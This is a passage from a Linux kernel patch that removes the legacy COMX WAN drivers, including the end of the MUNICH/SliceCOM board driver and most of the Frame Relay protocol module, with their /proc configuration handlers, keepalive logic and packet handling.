- * for the same reason as FILENAME_FRAMING - */ - if (netif_running(dev)) - slicecom_set_clock_source(hw->boardnum, - slicecom_clock_sources[i].value); - else - { - printk("%s: " FILENAME_CLOCK_SOURCE - " can not be set while the interface is DOWN\n", - dev->name); - free_page((unsigned long)page); - return -EINVAL; - } - } - } - else if (!strcmp(entry->name, FILENAME_LOOPBACK)) - { - i = 0; - while (slicecom_loopbacks[i].value && - strncmp(slicecom_loopbacks[i].name, page, - strlen(slicecom_loopbacks[i].name))) - i++; - if (!slicecom_loopbacks[i].value) - { - printk("%s: Invalid " FILENAME_LOOPBACK " '%s'\n", dev->name, page); - free_page((unsigned long)page); - return -EINVAL; - } - else - { /* - * Allow to set it only if interface is administrative UP, - * for the same reason as FILENAME_FRAMING - */ - if (netif_running(dev)) - slicecom_set_loopback(hw->boardnum, - slicecom_loopbacks[i].value); - else - { - printk("%s: " FILENAME_LOOPBACK - " can not be set while the interface is DOWN\n", - dev->name); - free_page((unsigned long)page); - return -EINVAL; - } - } - } - else if (!strcmp(entry->name, FILENAME_REG)) - { /* DEL: 'reg' csak tmp */ - char *p; - u32 *bar1 = board->bar1; - - reg = simple_strtoul(page, &p, 0); - reg_ertek = simple_strtoul(p + 1, NULL, 0); - - if (reg < 0x100) - { - printk("reg(0x%02x) := 0x%08x jiff: %lu\n", reg, reg_ertek, jiffies); - writel(reg_ertek, MUNICH_VIRT(reg >> 2)); - } - else - { - printk("reg(0x%02x) is 0x%08x jiff: %lu\n", reg - 0x100, - readl(MUNICH_VIRT((reg - 0x100) >> 2)), jiffies); - } - } - else if (!strcmp(entry->name, FILENAME_LBIREG)) - { /* DEL: 'lbireg' csak tmp */ - char *p; - u8 *lbi = board->lbi; - - lbireg = simple_strtoul(page, &p, 0); - lbireg_ertek = simple_strtoul(p + 1, NULL, 0); - - if (lbireg < 0x100) - { - printk("lbireg(0x%02x) := 0x%02x jiff: %lu\n", lbireg, - lbireg_ertek, jiffies); - writeb(lbireg_ertek, lbi + lbireg); - } - else - printk("lbireg(0x%02x) is 0x%02x jiff: %lu\n", lbireg - 0x100, - readb(lbi + lbireg - 0x100), jiffies); - } - else - { - printk(KERN_ERR "munich_write_proc: internal error, filename %s\n", - entry->name); - free_page((unsigned long)page); - return -EBADF; - } - - /* Don't forget to free the workspace */ - free_page((unsigned long)page); - return count; -} - -/* - * Boardtype init function. - * Called by the comx (upper) layer, when you set boardtype. - * Allocates resources associated to using munich board for this device, - * initializes ch_struct pointers etc. - * Returns 0 on success and standard error codes on error. - */ - -static int init_escape(struct comx_channel *ch) -{ - kfree(ch->HW_privdata); - return -EIO; -} - -static int BOARD_init(struct net_device *dev) -{ - struct comx_channel *ch = netdev_priv(dev); - struct slicecom_privdata *hw; - struct proc_dir_entry *new_file; - - /* Alloc data for private structure */ - if ((ch->HW_privdata = - kmalloc(sizeof(struct slicecom_privdata), GFP_KERNEL)) == NULL) - return -ENOMEM; - - memset(hw = ch->HW_privdata, 0, sizeof(struct slicecom_privdata)); - - /* Register /proc files */ - if ((new_file = create_proc_entry(FILENAME_BOARDNUM, S_IFREG | 0644, - ch->procdir)) == NULL) - return init_escape(ch); - new_file->data = (void *)new_file; - new_file->read_proc = &munich_read_proc; - new_file->write_proc = &munich_write_proc; -// new_file->proc_iops = &comx_normal_inode_ops; - new_file->nlink = 1; - - if (ch->hardware == &slicecomhw) - { - if ((new_file = create_proc_entry(FILENAME_TIMESLOTS, S_IFREG | 0644, - ch->procdir)) == NULL) - return init_escape(ch); - new_file->data = (void *)new_file; - new_file->read_proc = &munich_read_proc; - new_file->write_proc = &munich_write_proc; -// new_file->proc_iops = &comx_normal_inode_ops; - new_file->nlink = 1; - - if ((new_file = create_proc_entry(FILENAME_FRAMING, S_IFREG | 0644, - ch->procdir)) == NULL) - return init_escape(ch); - new_file->data = (void *)new_file; - new_file->read_proc = &munich_read_proc; - new_file->write_proc = &munich_write_proc; -// new_file->proc_iops = &comx_normal_inode_ops; - new_file->nlink = 1; - - if ((new_file = create_proc_entry(FILENAME_LINECODE, S_IFREG | 0644, - ch->procdir)) == NULL) - return init_escape(ch); - new_file->data = (void *)new_file; - new_file->read_proc = &munich_read_proc; - new_file->write_proc = &munich_write_proc; -// new_file->proc_iops = &comx_normal_inode_ops; - new_file->nlink = 1; - - if ((new_file = create_proc_entry(FILENAME_CLOCK_SOURCE, S_IFREG | 0644, - ch->procdir)) == NULL) - return init_escape(ch); - new_file->data = (void *)new_file; - new_file->read_proc = &munich_read_proc; - new_file->write_proc = &munich_write_proc; -// new_file->proc_iops = &comx_normal_inode_ops; - new_file->nlink = 1; - - if ((new_file = create_proc_entry(FILENAME_LOOPBACK, S_IFREG | 0644, - ch->procdir)) == NULL) - return init_escape(ch); - new_file->data = (void *)new_file; - new_file->read_proc = &munich_read_proc; - new_file->write_proc = &munich_write_proc; -// new_file->proc_iops = &comx_normal_inode_ops; - new_file->nlink = 1; - } - - /* DEL: ez itt csak fejlesztesi celokra!! */ - if ((new_file = create_proc_entry(FILENAME_REG, S_IFREG | 0200, ch->procdir)) == NULL) - return init_escape(ch); - new_file->data = (void *)new_file; - new_file->read_proc = &munich_read_proc; - new_file->write_proc = &munich_write_proc; -// new_file->proc_iops = &comx_normal_inode_ops; - new_file->nlink = 1; - - /* DEL: ez itt csak fejlesztesi celokra!! */ - if ((new_file = create_proc_entry(FILENAME_LBIREG, S_IFREG | 0200, - ch->procdir)) == NULL) - return init_escape(ch); - new_file->data = (void *)new_file; - new_file->read_proc = &munich_read_proc; - new_file->write_proc = &munich_write_proc; -// new_file->proc_iops = &comx_normal_inode_ops; - new_file->nlink = 1; - - /* Fill in ch_struct hw specific pointers: */ - - ch->HW_txe = MUNICH_txe; - ch->HW_open = MUNICH_open; - ch->HW_close = MUNICH_close; - ch->HW_send_packet = MUNICH_send_packet; -#ifndef COMX_NEW - ch->HW_minden = MUNICH_minden; -#else - ch->HW_statistics = MUNICH_minden; -#endif - - hw->boardnum = SLICECOM_BOARDNUM_DEFAULT; - hw->timeslots = ch->hardware == &pcicomhw ? 0xffffffff : 2; - - /* O.K. Count one more user on this module */ - MOD_INC_USE_COUNT; - return 0; -} - -/* - * Boardtype exit function. - * Called by the comx (upper) layer, when you clear boardtype from munich. - * Frees resources associated to using munich board for this device, - * resets ch_struct pointers etc. - */ -static int BOARD_exit(struct net_device *dev) -{ - struct comx_channel *ch = netdev_priv(dev); - - /* Free private data area */ -// board = hw->boardnum + (ch->hardware == &pcicomhw ? pcicom_boards : slicecom_boards); - - kfree(ch->HW_privdata); - /* Remove /proc files */ - remove_proc_entry(FILENAME_BOARDNUM, ch->procdir); - if (ch->hardware == &slicecomhw) - { - remove_proc_entry(FILENAME_TIMESLOTS, ch->procdir); - remove_proc_entry(FILENAME_FRAMING, ch->procdir); - remove_proc_entry(FILENAME_LINECODE, ch->procdir); - remove_proc_entry(FILENAME_CLOCK_SOURCE, ch->procdir); - remove_proc_entry(FILENAME_LOOPBACK, ch->procdir); - } - remove_proc_entry(FILENAME_REG, ch->procdir); - remove_proc_entry(FILENAME_LBIREG, ch->procdir); - - /* Minus one user for the module accounting */ - MOD_DEC_USE_COUNT; - return 0; -} - -static struct comx_hardware slicecomhw = -{ - "slicecom", -#ifdef COMX_NEW - VERSION, -#endif - BOARD_init, - BOARD_exit, - BOARD_dump, - NULL -}; - -static struct comx_hardware pcicomhw = -{ - "pcicom", -#ifdef COMX_NEW - VERSION, -#endif - BOARD_init, - BOARD_exit, - BOARD_dump, - NULL -}; - -/* Module management */ - -static int __init init_mister(void) -{ - printk(VERSIONSTR); - comx_register_hardware(&slicecomhw); - comx_register_hardware(&pcicomhw); - return munich_probe(); -} - -static void __exit cleanup_mister(void) -{ - int i; - - comx_unregister_hardware("slicecom"); - comx_unregister_hardware("pcicom"); - - for (i = 0; i < MAX_BOARDS; i++) - { - if (slicecom_boards[i].bar1) - iounmap((void *)slicecom_boards[i].bar1); - if (slicecom_boards[i].lbi) - iounmap((void *)slicecom_boards[i].lbi); - if (pcicom_boards[i].bar1) - iounmap((void *)pcicom_boards[i].bar1); - if (pcicom_boards[i].lbi) - iounmap((void *)pcicom_boards[i].lbi); - } -} - -module_init(init_mister); -module_exit(cleanup_mister); ===== drivers/net/wan/comx-proto-fr.c 1.13 vs edited ===== --- 1.13/drivers/net/wan/comx-proto-fr.c Thu Sep 11 19:40:53 2003 +++ edited/drivers/net/wan/comx-proto-fr.c Fri May 7 13:05:52 2004 @@ -1,1014 +1 @@ -/* - * Frame-relay protocol module for the COMX driver - * for Linux 2.2.X - * - * Original author: Tivadar Szemethy - * Maintainer: Gergely Madarasz - * - * Copyright (C) 1998-1999 ITConsult-Pro Co. - * - * Contributors: - * Arnaldo Carvalho de Melo (0.73) - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version - * 2 of the License, or (at your option) any later version. - * - * Version 0.70 (99/06/14): - * - cleaned up the source code a bit - * - ported back to kernel, now works as builtin code - * - * Version 0.71 (99/06/25): - * - use skb priorities and queues for sending keepalive - * - use device queues for slave->master data transmit - * - set IFF_RUNNING only line protocol up - * - fixes on slave device flags - * - * Version 0.72 (99/07/09): - * - handle slave tbusy with master tbusy (should be fixed) - * - fix the keepalive timer addition/deletion - * - * Version 0.73 (00/08/15) - * - resource release on failure at fr_master_init and - * fr_slave_init - */ -#define VERSION "0.73" - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - -#include "comx.h" -#include "comxhw.h" - -MODULE_AUTHOR("Author: Tivadar Szemethy "); -MODULE_DESCRIPTION("Frame Relay protocol implementation for the COMX drivers" - "for Linux kernel 2.4.X"); -MODULE_LICENSE("GPL"); - -#define FRAD_UI 0x03 -#define NLPID_IP 0xcc -#define NLPID_Q933_LMI 0x08 -#define NLPID_CISCO_LMI 0x09 -#define Q933_ENQ 0x75 -#define Q933_LINESTAT 0x51 -#define Q933_COUNTERS 0x53 - -#define MAXALIVECNT 3 /* No. of failures */ - -struct fr_data { - u16 dlci; - struct net_device *master; - char keepa_pend; - char keepa_freq; - char keepalivecnt, keeploopcnt; - struct timer_list keepa_timer; - u8 local_cnt, remote_cnt; -}; - -static struct comx_protocol fr_master_protocol; -static struct comx_protocol fr_slave_protocol; -static struct comx_hardware fr_dlci; - -static void fr_keepalive_send(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct fr_data *fr = ch->LINE_privdata; - struct sk_buff *skb; - u8 *fr_packet; - - skb=alloc_skb(dev->hard_header_len + 13, GFP_ATOMIC); - - if(skb==NULL) - return; - - skb_reserve(skb, dev->hard_header_len); - - fr_packet=(u8*)skb_put(skb, 13); - - fr_packet[0] = (fr->dlci & (1024 - 15)) >> 2; - fr_packet[1] = (fr->dlci & 15) << 4 | 1; // EA bit 1 - fr_packet[2] = FRAD_UI; - fr_packet[3] = NLPID_Q933_LMI; - fr_packet[4] = 0; - fr_packet[5] = Q933_ENQ; - fr_packet[6] = Q933_LINESTAT; - fr_packet[7] = 0x01; - fr_packet[8] = 0x01; - fr_packet[9] = Q933_COUNTERS; - fr_packet[10] = 0x02; - fr_packet[11] = ++fr->local_cnt; - fr_packet[12] = fr->remote_cnt; - - skb->dev = dev; - skb->priority = TC_PRIO_CONTROL; - dev_queue_xmit(skb); -} - -static void fr_keepalive_timerfun(unsigned long d) -{ - struct net_device *dev = (struct net_device *)d; - struct comx_channel *ch = dev->priv; - struct fr_data *fr = ch->LINE_privdata; - struct proc_dir_entry *dir = ch->procdir->parent->subdir; - struct comx_channel *sch; - struct fr_data *sfr; - struct net_device *sdev; - - if (ch->init_status & LINE_OPEN) { - if (fr->keepalivecnt == MAXALIVECNT) { - comx_status(dev, ch->line_status & ~PROTO_UP); - dev->flags &= ~IFF_RUNNING; - for (; dir ; dir = dir->next) { - if(!S_ISDIR(dir->mode)) { - continue; - } - - if ((sdev = dir->data) && (sch = sdev->priv) && - (sdev->type == ARPHRD_DLCI) && - (sfr = sch->LINE_privdata) - && (sfr->master == dev) && - (sdev->flags & IFF_UP)) { - sdev->flags &= ~IFF_RUNNING; - comx_status(sdev, - sch->line_status & ~PROTO_UP); - } - } - } - if (fr->keepalivecnt <= MAXALIVECNT) { - ++fr->keepalivecnt; - } - fr_keepalive_send(dev); - } - mod_timer(&fr->keepa_timer, jiffies + HZ * fr->keepa_freq); -} - -static void fr_rx_lmi(struct net_device *dev, struct sk_buff *skb, - u16 dlci, u8 nlpid) -{ - struct comx_channel *ch = dev->priv; - struct fr_data *fr = ch->LINE_privdata; - struct proc_dir_entry *dir = ch->procdir->parent->subdir; - struct comx_channel *sch; - struct fr_data *sfr; - struct net_device *sdev; - - if (dlci != fr->dlci || nlpid != NLPID_Q933_LMI || !fr->keepa_freq) { - return; - } - - fr->remote_cnt = skb->data[7]; - if (skb->data[8] == fr->local_cnt) { // keepalive UP! - fr->keepalivecnt = 0; - if ((ch->line_status & LINE_UP) && - !(ch->line_status & PROTO_UP)) { - comx_status(dev, ch->line_status |= PROTO_UP); - dev->flags |= IFF_RUNNING; - for (; dir ; dir = dir->next) { - if(!S_ISDIR(dir->mode)) { - continue; - } - - if ((sdev = dir->data) && (sch = sdev->priv) && - (sdev->type == ARPHRD_DLCI) && - (sfr = sch->LINE_privdata) - && (sfr->master == dev) && - (sdev->flags & IFF_UP)) { - sdev->flags |= IFF_RUNNING; - comx_status(sdev, - sch->line_status | PROTO_UP); - } - } - } - } -} - -static void fr_set_keepalive(struct net_device *dev, int keepa) -{ - struct comx_channel *ch = dev->priv; - struct fr_data *fr = ch->LINE_privdata; - - if (!keepa && fr->keepa_freq) { // switch off - fr->keepa_freq = 0; - if (ch->line_status & LINE_UP) { - comx_status(dev, ch->line_status | PROTO_UP); - dev->flags |= IFF_RUNNING; - del_timer(&fr->keepa_timer); - } - return; - } - - if (keepa) { // bekapcs - if(fr->keepa_freq && (ch->line_status & LINE_UP)) { - del_timer(&fr->keepa_timer); - } - fr->keepa_freq = keepa; - fr->local_cnt = fr->remote_cnt = 0; - init_timer(&fr->keepa_timer); - fr->keepa_timer.expires = jiffies + HZ; - fr->keepa_timer.function = fr_keepalive_timerfun; - fr->keepa_timer.data = (unsigned long)dev; - ch->line_status &= ~(PROTO_UP | PROTO_LOOP); - dev->flags &= ~IFF_RUNNING; - comx_status(dev, ch->line_status); - if(ch->line_status & LINE_UP) { - add_timer(&fr->keepa_timer); - } - } -} - -static void fr_rx(struct net_device *dev, struct sk_buff *skb) -{ - struct comx_channel *ch = dev->priv; - struct proc_dir_entry *dir = ch->procdir->parent->subdir; - struct net_device *sdev = dev; - struct comx_channel *sch; - struct fr_data *sfr; - u16 dlci; - u8 nlpid; - - if(skb->len <= 4 || skb->data[2] != FRAD_UI) { - kfree_skb(skb); - return; - } - - /* Itt majd ki kell talalni, melyik slave kapja a csomagot */ - dlci = ((skb->data[0] & 0xfc) << 2) | ((skb->data[1] & 0xf0) >> 4); - if ((nlpid = skb->data[3]) == 0) { // Optional padding - nlpid = skb->data[4]; - skb_pull(skb, 1); - } - skb_pull(skb, 4); /* DLCI and header throw away */ - - if (ch->debug_flags & DEBUG_COMX_DLCI) { - comx_debug(dev, "Frame received, DLCI: %d, NLPID: 0x%02x\n", - dlci, nlpid); - comx_debug_skb(dev, skb, "Contents"); - } - - /* Megkeressuk, kihez tartozik */ - for (; dir ; dir = dir->next) { - if(!S_ISDIR(dir->mode)) { - continue; - } - if ((sdev = dir->data) && (sch = sdev->priv) && - (sdev->type == ARPHRD_DLCI) && (sfr = sch->LINE_privdata) && - (sfr->master == dev) && (sfr->dlci == dlci)) { - skb->dev = sdev; - if (ch->debug_flags & DEBUG_COMX_DLCI) { - comx_debug(dev, "Passing it to %s\n",sdev->name); - } - if (dev != sdev) { - sch->stats.rx_packets++; - sch->stats.rx_bytes += skb->len; - } - break; - } - } - switch(nlpid) { - case NLPID_IP: - skb->protocol = htons(ETH_P_IP); - skb->mac.raw = skb->data; - comx_rx(sdev, skb); - break; - case NLPID_Q933_LMI: - fr_rx_lmi(dev, skb, dlci, nlpid); - default: - kfree_skb(skb); - break; - } -} - -static int fr_tx(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct proc_dir_entry *dir = ch->procdir->parent->subdir; - struct net_device *sdev; - struct comx_channel *sch; - struct fr_data *sfr; - int cnt = 1; - - /* Ha minden igaz, 2 helyen fog allni a tbusy: a masternel, - es annal a slave-nel aki eppen kuldott. - Egy helyen akkor all, ha a master kuldott. - Ez megint jo lesz majd, ha utemezni akarunk */ - - /* This should be fixed, the slave tbusy should be set when - the masters queue is full and reset when not */ - - for (; dir ; dir = dir->next) { - if(!S_ISDIR(dir->mode)) { - continue; - } - if ((sdev = dir->data) && (sch = sdev->priv) && - (sdev->type == ARPHRD_DLCI) && (sfr = sch->LINE_privdata) && - (sfr->master == dev) && (netif_queue_stopped(sdev))) { - netif_wake_queue(sdev); - cnt++; - } - } - - netif_wake_queue(dev); - return 0; -} - -static void fr_status(struct net_device *dev, unsigned short status) -{ - struct comx_channel *ch = dev->priv; - struct fr_data *fr = ch->LINE_privdata; - struct proc_dir_entry *dir = ch->procdir->parent->subdir; - struct net_device *sdev; - struct comx_channel *sch; - struct fr_data *sfr; - - if (status & LINE_UP) { - if (!fr->keepa_freq) { - status |= PROTO_UP; - } - } else { - status &= ~(PROTO_UP | PROTO_LOOP); - } - - if (dev == fr->master && fr->keepa_freq) { - if (status & LINE_UP) { - fr->keepa_timer.expires = jiffies + HZ; - add_timer(&fr->keepa_timer); - fr->keepalivecnt = MAXALIVECNT + 1; - fr->keeploopcnt = 0; - } else { - del_timer(&fr->keepa_timer); - } - } - - /* Itt a status valtozast vegig kell vinni az osszes slave-n */ - for (; dir ; dir = dir->next) { - if(!S_ISDIR(dir->mode)) { - continue; - } - - if ((sdev = dir->data) && (sch = sdev->priv) && - (sdev->type == ARPHRD_FRAD || sdev->type == ARPHRD_DLCI) && - (sfr = sch->LINE_privdata) && (sfr->master == dev)) { - if(status & LINE_UP) { - netif_wake_queue(sdev); - } - comx_status(sdev, status); - if(status & (PROTO_UP | PROTO_LOOP)) { - dev->flags |= IFF_RUNNING; - } else { - dev->flags &= ~IFF_RUNNING; - } - } - } -} - -static int fr_open(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct fr_data *fr = ch->LINE_privdata; - struct proc_dir_entry *comxdir = ch->procdir; - struct comx_channel *mch; - - if (!(ch->init_status & HW_OPEN)) { - return -ENODEV; - } - - if ((ch->hardware == &fr_dlci && ch->protocol != &fr_slave_protocol) || - (ch->protocol == &fr_slave_protocol && ch->hardware != &fr_dlci)) { - printk(KERN_ERR "Trying to open an improperly set FR interface, giving up\n"); - return -EINVAL; - } - - if (!fr->master) { - return -ENODEV; - } - mch = fr->master->priv; - if (fr->master != dev && (!(mch->init_status & LINE_OPEN) - || (mch->protocol != &fr_master_protocol))) { - printk(KERN_ERR "Master %s is inactive, or incorrectly set up, " - "unable to open %s\n", fr->master->name, dev->name); - return -ENODEV; - } - - ch->init_status |= LINE_OPEN; - ch->line_status &= ~(PROTO_UP | PROTO_LOOP); - dev->flags &= ~IFF_RUNNING; - - if (fr->master == dev) { - if (fr->keepa_freq) { - fr->keepa_timer.function = fr_keepalive_timerfun; - fr->keepa_timer.data = (unsigned long)dev; - add_timer(&fr->keepa_timer); - } else { - if (ch->line_status & LINE_UP) { - ch->line_status |= PROTO_UP; - dev->flags |= IFF_RUNNING; - } - } - } else { - ch->line_status = mch->line_status; - if(fr->master->flags & IFF_RUNNING) { - dev->flags |= IFF_RUNNING; - } - } - - for (; comxdir ; comxdir = comxdir->next) { - if (strcmp(comxdir->name, FILENAME_DLCI) == 0 || - strcmp(comxdir->name, FILENAME_MASTER) == 0 || - strcmp(comxdir->name, FILENAME_KEEPALIVE) == 0) { - comxdir->mode = S_IFREG | 0444; - } - } -// comx_status(dev, ch->line_status); - return 0; -} - -static int fr_close(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct fr_data *fr = ch->LINE_privdata; - struct proc_dir_entry *comxdir = ch->procdir; - - if (fr->master == dev) { // Ha master - struct proc_dir_entry *dir = ch->procdir->parent->subdir; - struct net_device *sdev = dev; - struct comx_channel *sch; - struct fr_data *sfr; - - if (!(ch->init_status & HW_OPEN)) { - return -ENODEV; - } - - if (fr->keepa_freq) { - del_timer(&fr->keepa_timer); - } - - for (; dir ; dir = dir->next) { - if(!S_ISDIR(dir->mode)) { - continue; - } - if ((sdev = dir->data) && (sch = sdev->priv) && - (sdev->type == ARPHRD_DLCI) && - (sfr = sch->LINE_privdata) && - (sfr->master == dev) && - (sch->init_status & LINE_OPEN)) { - dev_close(sdev); - } - } - } - - ch->init_status &= ~LINE_OPEN; - ch->line_status &= ~(PROTO_UP | PROTO_LOOP); - dev->flags &= ~IFF_RUNNING; - - for (; comxdir ; comxdir = comxdir->next) { - if (strcmp(comxdir->name, FILENAME_DLCI) == 0 || - strcmp(comxdir->name, FILENAME_MASTER) == 0 || - strcmp(comxdir->name, FILENAME_KEEPALIVE) == 0) { - comxdir->mode = S_IFREG | 0444; - } - } - - return 0; -} - -static int fr_xmit(struct sk_buff *skb, struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct comx_channel *sch, *mch; - struct fr_data *fr = ch->LINE_privdata; - struct fr_data *sfr; - struct net_device *sdev; - struct proc_dir_entry *dir = ch->procdir->parent->subdir; - - if (!fr->master) { - printk(KERN_ERR "BUG: fr_xmit without a master!!! dev: %s\n", dev->name); - return 0; - } - - mch = fr->master->priv; - - /* Ennek majd a slave utemezeskor lesz igazan jelentosege */ - if (ch->debug_flags & DEBUG_COMX_DLCI) { - comx_debug_skb(dev, skb, "Sending frame"); - } - - if (dev != fr->master) { - struct sk_buff *newskb=skb_clone(skb, GFP_ATOMIC); - if (!newskb) - return -ENOMEM; - newskb->dev=fr->master; - dev_queue_xmit(newskb); - ch->stats.tx_bytes += skb->len; - ch->stats.tx_packets++; - dev_kfree_skb(skb); - } else { - netif_stop_queue(dev); - for (; dir ; dir = dir->next) { - if(!S_ISDIR(dir->mode)) { - continue; - } - if ((sdev = dir->data) && (sch = sdev->priv) && - (sdev->type == ARPHRD_DLCI) && (sfr = sch->LINE_privdata) && - (sfr->master == dev) && (netif_queue_stopped(sdev))) { - netif_stop_queue(sdev); - } - } - - switch(mch->HW_send_packet(dev, skb)) { - case FRAME_QUEUED: - netif_wake_queue(dev); - break; - case FRAME_ACCEPTED: - case FRAME_DROPPED: - break; - case FRAME_ERROR: - printk(KERN_ERR "%s: Transmit frame error (len %d)\n", - dev->name, skb->len); - break; - } - } - return 0; -} - -static int fr_header(struct sk_buff *skb, struct net_device *dev, - unsigned short type, void *daddr, void *saddr, unsigned len) -{ - struct comx_channel *ch = dev->priv; - struct fr_data *fr = ch->LINE_privdata; - - skb_push(skb, dev->hard_header_len); - /* Put in DLCI */ - skb->data[0] = (fr->dlci & (1024 - 15)) >> 2; - skb->data[1] = (fr->dlci & 15) << 4 | 1; // EA bit 1 - skb->data[2] = FRAD_UI; - skb->data[3] = NLPID_IP; - - return dev->hard_header_len; -} - -static int fr_statistics(struct net_device *dev, char *page) -{ - struct comx_channel *ch = dev->priv; - struct fr_data *fr = ch->LINE_privdata; - int len = 0; - - if (fr->master == dev) { - struct proc_dir_entry *dir = ch->procdir->parent->subdir; - struct net_device *sdev; - struct comx_channel *sch; - struct fr_data *sfr; - int slaves = 0; - - len += sprintf(page + len, - "This is a Frame Relay master device\nSlaves: "); - for (; dir ; dir = dir->next) { - if(!S_ISDIR(dir->mode)) { - continue; - } - if ((sdev = dir->data) && (sch = sdev->priv) && - (sdev->type == ARPHRD_DLCI) && - (sfr = sch->LINE_privdata) && - (sfr->master == dev) && (sdev != dev)) { - slaves++; - len += sprintf(page + len, "%s ", sdev->name); - } - } - len += sprintf(page + len, "%s\n", slaves ? "" : "(none)"); - if (fr->keepa_freq) { - len += sprintf(page + len, "Line keepalive (value %d) " - "status %s [%d]\n", fr->keepa_freq, - ch->line_status & PROTO_LOOP ? "LOOP" : - ch->line_status & PROTO_UP ? "UP" : "DOWN", - fr->keepalivecnt); - } else { - len += sprintf(page + len, "Line keepalive protocol " - "is not set\n"); - } - } else { // if slave - len += sprintf(page + len, - "This is a Frame Relay slave device, master: %s\n", - fr->master ? fr->master->name : "(not set)"); - } - return len; -} - -static int fr_read_proc(char *page, char **start, off_t off, int count, - int *eof, void *data) -{ - struct proc_dir_entry *file = (struct proc_dir_entry *)data; - struct net_device *dev = file->parent->data; - struct comx_channel *ch = dev->priv; - struct fr_data *fr = NULL; - int len = 0; - - if (ch) { - fr = ch->LINE_privdata; - } - - if (strcmp(file->name, FILENAME_DLCI) == 0) { - len = sprintf(page, "%04d\n", fr->dlci); - } else if (strcmp(file->name, FILENAME_MASTER) == 0) { - len = sprintf(page, "%-9s\n", fr->master ? fr->master->name : - "(none)"); - } else if (strcmp(file->name, FILENAME_KEEPALIVE) == 0) { - len = fr->keepa_freq ? sprintf(page, "% 3d\n", fr->keepa_freq) - : sprintf(page, "off\n"); - } else { - printk(KERN_ERR "comxfr: internal error, filename %s\n", file->name); - return -EBADF; - } - - if (off >= len) { - *eof = 1; - return 0; - } - - *start = page + off; - if (count >= len - off) *eof = 1; - return min_t(int, count, len - off); -} - -static int fr_write_proc(struct file *file, const char *buffer, - u_long count, void *data) -{ - struct proc_dir_entry *entry = (struct proc_dir_entry *)data; - struct net_device *dev = entry->parent->data; - struct comx_channel *ch = dev->priv; - struct fr_data *fr = NULL; - char *page; - - if (ch) { - fr = ch->LINE_privdata; - } - - if (!(page = (char *)__get_free_page(GFP_KERNEL))) { - return -ENOMEM; - } - - if (copy_from_user(page, buffer, count)) { - free_page((unsigned long)page); - return -EFAULT; - } - if (*(page + count - 1) == '\n') { - *(page + count - 1) = 0; - } - - if (strcmp(entry->name, FILENAME_DLCI) == 0) { - u16 dlci_new = simple_strtoul(page, NULL, 10); - - if (dlci_new > 1023) { - printk(KERN_ERR "Invalid DLCI value\n"); - } - else fr->dlci = dlci_new; - } else if (strcmp(entry->name, FILENAME_MASTER) == 0) { - struct net_device *new_master = dev_get_by_name(page); - - if (new_master && new_master->type == ARPHRD_FRAD) { - struct comx_channel *sch = new_master->priv; - struct fr_data *sfr = sch->LINE_privdata; - - if (sfr && sfr->master == new_master) { - if(fr->master) - dev_put(fr->master); - fr->master = new_master; - /* Megorokli a master statuszat */ - ch->line_status = sch->line_status; - } - } - } else if (strcmp(entry->name, FILENAME_KEEPALIVE) == 0) { - int keepa_new = -1; - - if (strcmp(page, KEEPALIVE_OFF) == 0) { - keepa_new = 0; - } else { - keepa_new = simple_strtoul(page, NULL, 10); - } - - if (keepa_new < 0 || keepa_new > 100) { - printk(KERN_ERR "invalid keepalive\n"); - } else { - if (fr->keepa_freq && keepa_new != fr->keepa_freq) { - fr_set_keepalive(dev, 0); - } - if (keepa_new) { - fr_set_keepalive(dev, keepa_new); - } - } - } else { - printk(KERN_ERR "comxfr_write_proc: internal error, filename %s\n", - entry->name); - count = -EBADF; - } - - free_page((unsigned long)page); - return count; -} - -static int fr_exit(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct fr_data *fr = ch->LINE_privdata; - struct net_device *sdev = dev; - struct comx_channel *sch; - struct fr_data *sfr; - struct proc_dir_entry *dir = ch->procdir->parent->subdir; - - /* Ha lezarunk egy master-t, le kell kattintani a slave-eket is */ - if (fr->master && fr->master == dev) { - for (; dir ; dir = dir->next) { - if(!S_ISDIR(dir->mode)) { - continue; - } - if ((sdev = dir->data) && (sch = sdev->priv) && - (sdev->type == ARPHRD_DLCI) && - (sfr = sch->LINE_privdata) && (sfr->master == dev)) { - dev_close(sdev); - sfr->master = NULL; - } - } - } - dev->flags = 0; - dev->type = 0; - dev->mtu = 0; - dev->hard_header_len = 0; - - ch->LINE_rx = NULL; - ch->LINE_tx = NULL; - ch->LINE_status = NULL; - ch->LINE_open = NULL; - ch->LINE_close = NULL; - ch->LINE_xmit = NULL; - ch->LINE_header = NULL; - ch->LINE_rebuild_header = NULL; - ch->LINE_statistics = NULL; - - ch->LINE_status = 0; - - if (fr->master != dev) { // if not master, remove dlci - if(fr->master) - dev_put(fr->master); - remove_proc_entry(FILENAME_DLCI, ch->procdir); - remove_proc_entry(FILENAME_MASTER, ch->procdir); - } else { - if (fr->keepa_freq) { - fr_set_keepalive(dev, 0); - } - remove_proc_entry(FILENAME_KEEPALIVE, ch->procdir); - remove_proc_entry(FILENAME_DLCI, ch->procdir); - } - - kfree(fr); - ch->LINE_privdata = NULL; - - MOD_DEC_USE_COUNT; - return 0; -} - -static int fr_master_init(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct fr_data *fr; - struct proc_dir_entry *new_file; - - if ((fr = ch->LINE_privdata = kmalloc(sizeof(struct fr_data), - GFP_KERNEL)) == NULL) { - return -ENOMEM; - } - memset(fr, 0, sizeof(struct fr_data)); - fr->master = dev; // this means master - fr->dlci = 0; // let's say default - - dev->flags = IFF_POINTOPOINT | IFF_NOARP | IFF_MULTICAST; - dev->type = ARPHRD_FRAD; - dev->mtu = 1500; - dev->hard_header_len = 4; - dev->addr_len = 0; - - ch->LINE_rx = fr_rx; - ch->LINE_tx = fr_tx; - ch->LINE_status = fr_status; - ch->LINE_open = fr_open; - ch->LINE_close = fr_close; - ch->LINE_xmit = fr_xmit; - ch->LINE_header = fr_header; - ch->LINE_rebuild_header = NULL; - ch->LINE_statistics = fr_statistics; - - if ((new_file = create_proc_entry(FILENAME_DLCI, S_IFREG | 0644, - ch->procdir)) == NULL) { - goto cleanup_LINE_privdata; - } - new_file->data = (void *)new_file; - new_file->read_proc = &fr_read_proc; - 